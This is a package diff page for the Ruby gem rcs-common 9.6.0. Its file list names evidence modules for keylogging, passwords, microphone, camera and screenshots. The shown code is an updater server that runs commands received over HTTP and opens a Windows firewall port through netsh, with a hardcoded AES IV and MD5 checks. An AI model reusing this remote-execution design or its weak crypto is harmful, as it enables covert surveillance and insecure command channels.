rcs-common 9.6.0

Sign up to get free protection for your applications and to get access to all the features.
Files changed (116) hide show
  1. checksums.yaml +7 -0
  2. data/.gitignore +49 -0
  3. data/Gemfile +4 -0
  4. data/LICENSE.txt +1 -0
  5. data/Rakefile +27 -0
  6. data/lib/rcs-common.rb +21 -0
  7. data/lib/rcs-common/binary.rb +64 -0
  8. data/lib/rcs-common/cgi.rb +7 -0
  9. data/lib/rcs-common/component.rb +87 -0
  10. data/lib/rcs-common/crypt.rb +71 -0
  11. data/lib/rcs-common/deploy.rb +96 -0
  12. data/lib/rcs-common/diagnosticable.rb +136 -0
  13. data/lib/rcs-common/evidence.rb +261 -0
  14. data/lib/rcs-common/evidence/addressbook.rb +173 -0
  15. data/lib/rcs-common/evidence/application.rb +59 -0
  16. data/lib/rcs-common/evidence/calendar.rb +62 -0
  17. data/lib/rcs-common/evidence/call.rb +185 -0
  18. data/lib/rcs-common/evidence/camera.rb +25 -0
  19. data/lib/rcs-common/evidence/chat.rb +272 -0
  20. data/lib/rcs-common/evidence/clibpoard.rb +58 -0
  21. data/lib/rcs-common/evidence/command.rb +50 -0
  22. data/lib/rcs-common/evidence/common.rb +78 -0
  23. data/lib/rcs-common/evidence/content/camera/001.jpg +0 -0
  24. data/lib/rcs-common/evidence/content/coin/wallet_bit.dat +0 -0
  25. data/lib/rcs-common/evidence/content/coin/wallet_lite.dat +0 -0
  26. data/lib/rcs-common/evidence/content/file/Einstein.docx +0 -0
  27. data/lib/rcs-common/evidence/content/file/arabic.docx +0 -0
  28. data/lib/rcs-common/evidence/content/mouse/001.jpg +0 -0
  29. data/lib/rcs-common/evidence/content/mouse/002.jpg +0 -0
  30. data/lib/rcs-common/evidence/content/mouse/003.jpg +0 -0
  31. data/lib/rcs-common/evidence/content/mouse/004.jpg +0 -0
  32. data/lib/rcs-common/evidence/content/print/001.jpg +0 -0
  33. data/lib/rcs-common/evidence/content/screenshot/001.jpg +0 -0
  34. data/lib/rcs-common/evidence/content/screenshot/002.jpg +0 -0
  35. data/lib/rcs-common/evidence/content/screenshot/003.jpg +0 -0
  36. data/lib/rcs-common/evidence/content/url/001.jpg +0 -0
  37. data/lib/rcs-common/evidence/content/url/002.jpg +0 -0
  38. data/lib/rcs-common/evidence/content/url/003.jpg +0 -0
  39. data/lib/rcs-common/evidence/device.rb +23 -0
  40. data/lib/rcs-common/evidence/download.rb +54 -0
  41. data/lib/rcs-common/evidence/exec.rb +0 -0
  42. data/lib/rcs-common/evidence/file.rb +129 -0
  43. data/lib/rcs-common/evidence/filesystem.rb +71 -0
  44. data/lib/rcs-common/evidence/info.rb +24 -0
  45. data/lib/rcs-common/evidence/keylog.rb +84 -0
  46. data/lib/rcs-common/evidence/mail.rb +237 -0
  47. data/lib/rcs-common/evidence/mic.rb +39 -0
  48. data/lib/rcs-common/evidence/mms.rb +36 -0
  49. data/lib/rcs-common/evidence/money.rb +676 -0
  50. data/lib/rcs-common/evidence/mouse.rb +62 -0
  51. data/lib/rcs-common/evidence/password.rb +60 -0
  52. data/lib/rcs-common/evidence/photo.rb +80 -0
  53. data/lib/rcs-common/evidence/position.rb +303 -0
  54. data/lib/rcs-common/evidence/print.rb +50 -0
  55. data/lib/rcs-common/evidence/screenshot.rb +53 -0
  56. data/lib/rcs-common/evidence/sms.rb +91 -0
  57. data/lib/rcs-common/evidence/url.rb +133 -0
  58. data/lib/rcs-common/fixnum.rb +48 -0
  59. data/lib/rcs-common/gridfs.rb +294 -0
  60. data/lib/rcs-common/heartbeat.rb +96 -0
  61. data/lib/rcs-common/keywords.rb +50 -0
  62. data/lib/rcs-common/mime.rb +65 -0
  63. data/lib/rcs-common/mongoid.rb +19 -0
  64. data/lib/rcs-common/pascalize.rb +62 -0
  65. data/lib/rcs-common/path_utils.rb +67 -0
  66. data/lib/rcs-common/resolver.rb +40 -0
  67. data/lib/rcs-common/rest.rb +17 -0
  68. data/lib/rcs-common/sanitize.rb +42 -0
  69. data/lib/rcs-common/serializer.rb +404 -0
  70. data/lib/rcs-common/signature.rb +141 -0
  71. data/lib/rcs-common/stats.rb +94 -0
  72. data/lib/rcs-common/symbolize.rb +10 -0
  73. data/lib/rcs-common/systemstatus.rb +136 -0
  74. data/lib/rcs-common/temporary.rb +13 -0
  75. data/lib/rcs-common/time.rb +24 -0
  76. data/lib/rcs-common/trace.rb +138 -0
  77. data/lib/rcs-common/trace.yaml +42 -0
  78. data/lib/rcs-common/updater/client.rb +354 -0
  79. data/lib/rcs-common/updater/dsl.rb +178 -0
  80. data/lib/rcs-common/updater/payload.rb +79 -0
  81. data/lib/rcs-common/updater/server.rb +126 -0
  82. data/lib/rcs-common/updater/shared_key.rb +55 -0
  83. data/lib/rcs-common/updater/tmp_dir.rb +13 -0
  84. data/lib/rcs-common/utf16le.rb +83 -0
  85. data/lib/rcs-common/version.rb +5 -0
  86. data/lib/rcs-common/winfirewall.rb +235 -0
  87. data/rcs-common.gemspec +64 -0
  88. data/spec/gridfs_spec.rb +637 -0
  89. data/spec/mongoid.yaml +6 -0
  90. data/spec/signature_spec.rb +105 -0
  91. data/spec/spec_helper.rb +22 -0
  92. data/spec/updater_spec.rb +80 -0
  93. data/tasks/deploy.rake +21 -0
  94. data/tasks/protect.rake +90 -0
  95. data/test/helper.rb +17 -0
  96. data/test/test_binary.rb +107 -0
  97. data/test/test_cgi.rb +14 -0
  98. data/test/test_crypt.rb +125 -0
  99. data/test/test_evidence.rb +52 -0
  100. data/test/test_evidence_manager.rb +119 -0
  101. data/test/test_fixnum.rb +35 -0
  102. data/test/test_keywords.rb +137 -0
  103. data/test/test_mime.rb +49 -0
  104. data/test/test_pascalize.rb +100 -0
  105. data/test/test_path_utils.rb +24 -0
  106. data/test/test_rcs-common.rb +7 -0
  107. data/test/test_sanitize.rb +40 -0
  108. data/test/test_serialization.rb +20 -0
  109. data/test/test_stats.rb +90 -0
  110. data/test/test_symbolize.rb +20 -0
  111. data/test/test_systemstatus.rb +35 -0
  112. data/test/test_time.rb +56 -0
  113. data/test/test_trace.rb +25 -0
  114. data/test/test_utf16le.rb +71 -0
  115. data/test/test_winfirewall.rb +68 -0
  116. metadata +423 -0
@@ -0,0 +1,79 @@
1
+ require 'timeout'
2
+ require 'fileutils'
3
+ require 'open3'
4
+ require_relative "tmp_dir"
5
+ require_relative "../trace.rb"
6
+
7
+ module RCS
8
+ module Updater
9
+ class Payload
10
+ include RCS::Tracer
11
+ include TmpDir
12
+
13
+ attr_reader :options, :payload, :timeout
14
+ attr_reader :filepath, :output, :return_code, :stored
15
+
16
+ DEFAULT_TIMEOUT = 600
17
+
18
+ def initialize(payload, options = {})
19
+ @options = options
20
+ @payload = payload
21
+
22
+ @timeout = options['timeout'].to_i
23
+ @timeout = DEFAULT_TIMEOUT if @timeout <= 0
24
+ end
25
+
26
+ def ruby?; options['ruby']; end
27
+
28
+ def storable?; options['store']; end
29
+
30
+ def spawn?; options['spawn']; end
31
+
32
+ def runnable?
33
+ options['exec'] or ruby? or spawn?
34
+ end
35
+
36
+ def [](name)
37
+ instance_variable_get("@#{name}")
38
+ end
39
+
40
+ def run
41
+ @return_code = nil
42
+ @output = ""
43
+
44
+ cmd = "#{'ruby ' if ruby?}#{storable? ? filepath : payload}"
45
+
46
+ if spawn?
47
+ trace(:debug, "[spawn] #{cmd}")
48
+ return spawn(cmd)
49
+ end
50
+
51
+ Timeout::timeout(@timeout) do
52
+ trace(:debug, "Timeout has been set to #{@timeout} sec") if @timeout != DEFAULT_TIMEOUT
53
+
54
+ trace(:debug, "[popen] #{cmd}")
55
+
56
+ Open3.popen2e(cmd) do |stdin, std_out_err, wait_thr|
57
+ while line = std_out_err.gets
58
+ trace(:debug, "[std_out_err] #{line.strip}")
59
+ @output << line
60
+ end
61
+ @return_code = wait_thr.value.exitstatus
62
+ end
63
+ end
64
+
65
+ return @return_code
66
+ ensure
67
+ FileUtils.rm_f(filepath) if stored
68
+ end
69
+
70
+ def store
71
+ @filepath = "#{tmpdir}/" + (@options['filename'] || Time.now.to_f.to_s.gsub(".", ""))
72
+ FileUtils.mkdir_p(tmpdir)
73
+ trace(:debug, "Storing payload into #{filepath}")
74
+ File.open(filepath, "wb") { |f| f.write(payload) }
75
+ @stored = true
76
+ end
77
+ end
78
+ end
79
+ end
@@ -0,0 +1,126 @@
1
+ require 'yajl/json_gem'
2
+ require 'em-http-server'
3
+ require 'digest/md5'
4
+ require 'monitor'
5
+ require_relative "payload"
6
+ require_relative "shared_key"
7
+ require_relative "../trace"
8
+ require_relative "../winfirewall"
9
+
10
+ module RCS
11
+ module Updater
12
+ class AuthError < Exception; end
13
+
14
+ class Server < EM::HttpServer::Server
15
+ include MonitorMixin
16
+ include RCS::Tracer
17
+ extend RCS::Tracer
18
+
19
+ def initialize(*args)
20
+ @shared_key = SharedKey.new
21
+ super
22
+ end
23
+
24
+ def x_options
25
+ @x_options ||= @shared_key.decrypt_hash(@http[:x_options]) rescue nil
26
+ end
27
+
28
+ def remote_addr
29
+ ary = get_peername[2,6].unpack("nC4")
30
+ ary[1..-1].join(".")
31
+ end
32
+
33
+ def private_ipv4?
34
+ a,b,c,d = remote_addr.split(".").map(&:to_i)
35
+ return true if a==127 && b==0 && c==0 && d==1 # localhost
36
+ return true if a==192 && b==168 && c.between?(0,255) && d.between?(0,255) # 192.168.0.0/16
37
+ return true if a==172 && b.between?(16,31) && c.between?(0,255) && d.between?(0,255) # 172.16.0.0/12
38
+ return true if a==10 && b.between?(0,255) && c.between?(0,255) && d.between?(0,255) # 10.0.0.0/8
39
+ return false
40
+ end
41
+
42
+ def process_http_request
43
+ EM.defer do
44
+ begin
45
+ trace(:info, "[#{@http[:host]}] REQ #{@http_protocol} #{@http_request_method} #{@http_content.size} bytes from #{remote_addr}")
46
+
47
+ raise AuthError.new("Invalid http method") if @http_request_method != "POST"
48
+ raise AuthError.new("No content") unless @http_content
49
+ raise AuthError.new("Missing server signature") unless @shared_key.read_key_from_file
50
+ raise AuthError.new("remote_addr is not private") unless private_ipv4?
51
+ raise AuthError.new("Invalid signature") unless x_options
52
+ raise AuthError.new("Payload checksum failed") if x_options['md5'] != Digest::MD5.hexdigest(@http_content)
53
+
54
+ synchronize do
55
+ @@x_options_last_tm ||= nil
56
+ raise AuthError.new("Reply attack") if @@x_options_last_tm and x_options['tm'] <= @@x_options_last_tm
57
+ @@x_options_last_tm = x_options['tm']
58
+ end
59
+
60
+ payload = Payload.new(@http_content, x_options)
61
+
62
+ set_comm_inactivity_timeout(payload.timeout + 30)
63
+
64
+ payload.store if payload.storable?
65
+ payload.run if payload.runnable?
66
+
67
+ send_response(200, payload_to_hash(payload))
68
+ rescue AuthError => ex
69
+ print_exception(ex, backtrace: false)
70
+ close_connection
71
+ rescue Exception => ex
72
+ print_exception(ex)
73
+ send_response(500, payload_to_hash(payload))
74
+ end
75
+ end
76
+ end
77
+
78
+ def payload_to_hash(payload)
79
+ {path: payload.filepath, output: payload.output, return_code: payload.return_code, stored: payload.stored} if payload
80
+ end
81
+
82
+ def http_request_errback(ex)
83
+ print_exception(ex)
84
+ end
85
+
86
+ def print_exception(ex, backtrace: true)
87
+ text = "[#{ex.class}] #{ex.message}"
88
+ text << "\n\t#{ex.backtrace.join("\n\t")}" if ex.backtrace and backtrace
89
+ trace(:error, text)
90
+ end
91
+
92
+ def send_response(status_code, content = nil)
93
+ response = EM::DelegatedHttpResponse.new(self)
94
+ response.status = status_code
95
+ response.content_type('application/json')
96
+ response.content = content.to_json if content
97
+ response.send_response
98
+ trace(:info, "[#{@http[:host]}] REP #{status_code} #{response.content.size} bytes")
99
+ end
100
+
101
+ def self.add_firewall_rule(port)
102
+ if WinFirewall.exists?
103
+ rule_name = "RCS_FWD Updater"
104
+ WinFirewall.del_rule(rule_name)
105
+ WinFirewall.add_rule(action: :allow, direction: :in, name: rule_name, local_port: port, remote_ip: %w[LocalSubnet 10.0.0.0/8 172.16.0.0/12 192.168.0.0/16], protocol: :tcp)
106
+ end
107
+ end
108
+
109
+ def self.start(port: 6677, address: "0.0.0.0")
110
+ EM::run do
111
+ trace_setup rescue $stderr.puts("trace_setup failed - logging only to stdout")
112
+ add_firewall_rule(port)
113
+
114
+ trace(:info, "Starting RCS Updater server on #{address}:#{port}")
115
+ EM::start_server(address, port, self)
116
+ end
117
+ rescue Interrupt
118
+ trace(:fatal, "Interrupted by the user")
119
+ end
120
+ end
121
+ end
122
+ end
123
+
124
+ if __FILE__ == $0
125
+ RCS::Updater::Server.start
126
+ end
@@ -0,0 +1,55 @@
1
+ require 'openssl'
2
+ require 'base64'
3
+
4
+ module RCS
5
+ module Updater
6
+ class SharedKey
7
+
8
+ def initialize
9
+ # Search for the signature file in some places
10
+ [File.expand_path(Dir.pwd), "C:/RCS/DB", "C:/RCS/Collector"].each do |root|
11
+ ["#{root}/config/rcs-updater.sig", "#{root}/config/certs/rcs-updater.sig"].each do |path|
12
+ @path = path if File.exists?(path)
13
+ end
14
+ end
15
+ end
16
+
17
+ def read_key_from_file
18
+ return ENV['SIGNATURE'] if ENV['SIGNATURE']
19
+
20
+ if @path
21
+ key = File.read(@path)
22
+ return key.empty? ? nil : key
23
+ else
24
+ return nil
25
+ end
26
+ end
27
+
28
+ def prepare_cipher(mode)
29
+ @cipher = OpenSSL::Cipher::AES.new(256, :CBC)
30
+ mode == :encrypt ? @cipher.encrypt : @cipher.decrypt
31
+ @cipher.padding = 1
32
+ @cipher.key = read_key_from_file || raise("Missing or empty signature file")
33
+ @cipher.iv = "\xBA\xF0\xC0Z\xD7\xE8~[TP\xFE\x88rW\xC8\xF4"
34
+ end
35
+
36
+ def encrypt(data)
37
+ prepare_cipher(:encrypt)
38
+ return @cipher.update(data) + @cipher.final
39
+ end
40
+
41
+ def decrypt(data)
42
+ prepare_cipher(:decrypt)
43
+ return @cipher.update(data) + @cipher.final
44
+ end
45
+
46
+ def encrypt_hash(hash)
47
+ Base64.urlsafe_encode64(encrypt(hash.to_json))
48
+ end
49
+
50
+ def decrypt_hash(data)
51
+ JSON.parse(decrypt(Base64.urlsafe_decode64(data)))
52
+ end
53
+ end
54
+ end
55
+ end
@@ -0,0 +1,13 @@
1
+ module RCS
2
+ module Updater
3
+ module TmpDir
4
+ def windows?
5
+ @is_windows ||= (RbConfig::CONFIG['host_os'] =~ /mingw/)
6
+ end
7
+
8
+ def tmpdir
9
+ "C:/Windows/Temp/rcsupdr.tmp"
10
+ end
11
+ end
12
+ end
13
+ end
@@ -0,0 +1,83 @@
1
+ #
2
+ # Helper method for decoding windows WCHAR strings.
3
+ #
4
+
5
+ require 'stringio'
6
+
7
+ class StringIO
8
+ def read_utf16le_string
9
+ # at least the null terminator
10
+ return '' if self.size < 2
11
+
12
+ # empty string by default
13
+ str = ''
14
+ # read until the end of buffer or null termination
15
+ until self.eof? do
16
+ t = self.read(2)
17
+ break if t == "\0\0"
18
+ str << t
19
+ end
20
+
21
+ # misaligned string
22
+ return '' if str.bytesize % 2 != 0
23
+
24
+ return str
25
+ end
26
+
27
+ def read_ascii_string
28
+ # at least the null terminator
29
+ return '' if self.size < 1
30
+
31
+ # empty string by default
32
+ str = ''
33
+ # read until the end of buffer or null termination
34
+ until self.tell == self.size do
35
+ t = self.read(1)
36
+ break if t == "\0"
37
+ str << t
38
+ end
39
+
40
+ return str
41
+ end
42
+
43
+ end
44
+
45
+ class String
46
+ def to_binary
47
+ self.unpack("H*").pack("H*")
48
+ end
49
+
50
+ def to_utf16le_binary
51
+ self.encode('UTF-16LE').to_binary
52
+ end
53
+
54
+ def to_utf16le_binary_null
55
+ # with null termination
56
+ (self + "\0").to_utf16le_binary
57
+ end
58
+
59
+ def terminate_utf16le
60
+ self.force_encoding('UTF-16LE') + "\0".encode('UTF-16LE')
61
+ end
62
+
63
+ def to_utf16le
64
+ self.encode('UTF-16LE')
65
+ end
66
+
67
+ def utf16le_to_utf8
68
+ self.force_encoding('UTF-16LE').encode('UTF-8').chomp("\0")
69
+ end
70
+
71
+ def safe_utf8_encode_invalid
72
+ return self if self.encoding == Encoding::UTF_8 and self.valid_encoding?
73
+ self.safe_utf8_encode
74
+ return self if self.valid_encoding?
75
+ self.force_encoding('BINARY')
76
+ self.encode! 'BINARY', 'UTF-8', invalid: :replace, undef: :replace, replace: '?'
77
+ end
78
+
79
+ def safe_utf8_encode
80
+ self.force_encoding('UTF-8')
81
+ self.encode! 'UTF-8', 'UTF-8', invalid: :replace, undef: :replace, replace: ''
82
+ end
83
+ end
@@ -0,0 +1,5 @@
1
+ module RCS
2
+ module Common
3
+ VERSION = "9.6.0"
4
+ end
5
+ end
@@ -0,0 +1,235 @@
1
+ require 'resolv'
2
+ require 'timeout'
3
+ require_relative 'trace'
4
+ require_relative 'resolver'
5
+
6
+ module RCS
7
+ module Common
8
+ module WinFirewall
9
+ extend RCS::Tracer
10
+
11
+ # Represent a Windows Firewall rule.
12
+ class Rule
13
+ include Resolver
14
+
15
+ ATTRIBUTES = %i[direction action local_ip remote_ip local_port remote_port name protocol profiles enabled grouping edge_traversal]
16
+
17
+ RULE_GROUP = 'RCS Firewall Rules'
18
+
19
+ attr_reader :attributes
20
+
21
+ def initialize(attributes = {})
22
+ # Default attribute values
23
+ @attributes = {
24
+ grouping: RULE_GROUP
25
+ }
26
+
27
+ # Merge default attributes with the given ones
28
+ # and remove invalid attributes
29
+ attributes.symbolize_keys! if attributes.respond_to?(:symbolize_keys!)
30
+ attributes.reject! { |key| !ATTRIBUTES.include?(key) }
31
+ @attributes.merge!(attributes)
32
+
33
+ # Define getters and setters
34
+ ATTRIBUTES.each do |name|
35
+ define_singleton_method(name) { @attributes[name] }
36
+ define_singleton_method("#{name}=") { |value| @attributes[name] = value }
37
+ end
38
+ end
39
+
40
+ def resolve_addresses!
41
+ resolve_addresses(true)
42
+ end
43
+
44
+ def resolve_addresses(_raise = false)
45
+ return if @addresses_resolved
46
+
47
+ %i[remote_ip local_ip].each do |name|
48
+ next unless @attributes[name]
49
+
50
+ addresses = [@attributes[name]].flatten
51
+
52
+ addresses.each_with_index do |address, index|
53
+ next if %w[any localsubnet dns dhcp wins defaultgateway].include?(address.to_s.downcase)
54
+ next if address.to_s =~ Resolv::IPv4::Regex
55
+ next if address.to_s =~ /(\d+)\.(\d+)\.(\d+)\.(\d+)\/(\d+)/
56
+
57
+ is_localhost = Socket.gethostname.casecmp(address).zero?
58
+
59
+ addresses[index] = if is_localhost
60
+ '127.0.0.1'
61
+ elsif _raise
62
+ resolve_dns(address)
63
+ else
64
+ resolve_dns(address) rescue address
65
+ end
66
+ end
67
+
68
+ @attributes[name] = addresses.size == 1 ? addresses[0] : addresses
69
+ end
70
+
71
+ @addresses_resolved = true
72
+ end
73
+
74
+ def save
75
+ resolve_addresses!
76
+
77
+ if Advfirewall.call("firewall add rule #{stringify_attributes}").ok?
78
+ true
79
+ else
80
+ raise "Unable to save firewall rule #{@attributes[:name]}"
81
+ end
82
+ end
83
+
84
+ def del
85
+ resolve_addresses
86
+
87
+ only = %i[dir profile program service localip remoteip localport remoteport protocol name]
88
+
89
+ Advfirewall.call("firewall delete rule #{stringify_attributes(only)}")
90
+ end
91
+
92
+ private
93
+
94
+ def stringify_attributes(only = [])
95
+ attrs = {
96
+ name: name,
97
+ dir: direction,
98
+ action: action,
99
+ enable: enabled,
100
+ protocol: protocol,
101
+ profile: profiles,
102
+ remoteip: remote_ip,
103
+ localip: local_ip,
104
+ localport: local_port,
105
+ remoteport: remote_port,
106
+ #group: grouping / why isn't working?
107
+ }
108
+
109
+ string = ""
110
+
111
+ attrs.each do |key, value|
112
+ next if only.any? and !only.include?(key)
113
+ next if value.to_s.strip.empty?
114
+ next if value == :any
115
+ value = value.respond_to?(:join) ? value.map(&:to_s).join(',') : "\"#{value}\""
116
+ string << "#{key}=#{value} "
117
+ end
118
+
119
+ string
120
+ end
121
+ end
122
+
123
+
124
+ # Parse the response of the netsh advfirewall command
125
+ class AdvfirewallResponse < String
126
+ SEPARATOR = '-'*70
127
+
128
+ attr_accessor :ok
129
+
130
+ def ok?
131
+ return self.ok unless self.ok.nil?
132
+ self.strip =~ /OK\.\z/i
133
+ end
134
+
135
+ def has_separator?
136
+ self.include?(SEPARATOR)
137
+ end
138
+
139
+ def first_line
140
+ index = nil
141
+ self.lines.each_with_index{ |line, i| index = i if line.include?(SEPARATOR) }
142
+ self.lines[index+1].strip if index
143
+ end
144
+ end
145
+
146
+
147
+ class Advfirewall
148
+ extend RCS::Tracer
149
+
150
+ # Return true if the current os is Windows
151
+ def self.exists?
152
+ @firewall_exists ||= (RbConfig::CONFIG['host_os'] =~ /mingw/i)
153
+ end
154
+
155
+ def self.call(command, read: false)
156
+ command = "netsh advfirewall #{command.strip}"
157
+
158
+ unless exists?
159
+ raise "The Windows Firewall is missing. You cannot call the command #{command.inspect} on this OS."
160
+ end
161
+
162
+ #trace(:debug, "[Advfirewall] #{command}")
163
+
164
+ if read
165
+ resp = AdvfirewallResponse.new(`#{command}`)
166
+ trace(:debug, "[Advfirewall] #{resp}") unless resp.ok?
167
+ resp
168
+ else
169
+ resp = AdvfirewallResponse.new
170
+ resp.ok = system(command)
171
+ resp
172
+ end
173
+ end
174
+ end
175
+
176
+
177
+ extend self
178
+
179
+
180
+ # Return :on or :off depending of the firewall state
181
+ #
182
+ # Note that the files test/fixtures/advfirewall/show_currentprofile_state_on and
183
+ # test/fixtures/advfirewall/show_currentprofile_state_off contains an example of the command output
184
+ def status
185
+ return status_from_registry if @use_registry_for_status
186
+
187
+ first_line = Advfirewall.call("show currentprofile state", read: true).first_line
188
+
189
+ if first_line =~ /ON\z/
190
+ :on
191
+ elsif first_line =~ /OFF\z/
192
+ :off
193
+ else
194
+ @use_registry_for_status = true
195
+ status_from_registry
196
+ end
197
+ end
198
+
199
+ def status_from_registry
200
+ command = 'reg query HKLM\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile /v EnableFirewall'
201
+ trace(:debug, "[Advfirewall] #{command}")
202
+ `#{command}`.include?('0x1') ? :on : :off
203
+ end
204
+
205
+ # Returns true if the default firewall policy is to block all inbound connections
206
+ def block_inbound?
207
+ line = Advfirewall.call("show currentprofile firewallpolicy", read: true).first_line
208
+ line.to_s.downcase.include?('blockinbound')
209
+ end
210
+
211
+ # Delegate
212
+ def exists?
213
+ Advfirewall.exists?
214
+ end
215
+
216
+ def add_rule(attributes)
217
+ Rule.new(attributes).save
218
+ end
219
+
220
+ def del_rule(name)
221
+ Rule.new(name: name.to_s).del
222
+ end
223
+
224
+ def has_rule?(name)
225
+ Advfirewall.call("firewall show rule name=\"#{name}\"").ok?
226
+ end
227
+
228
+ def raw_rules
229
+ Advfirewall.call("firewall show rule name=all", read: true)
230
+ end
231
+ end
232
+ end
233
+ end
234
+
235
+ WinFirewall = RCS::Common::WinFirewall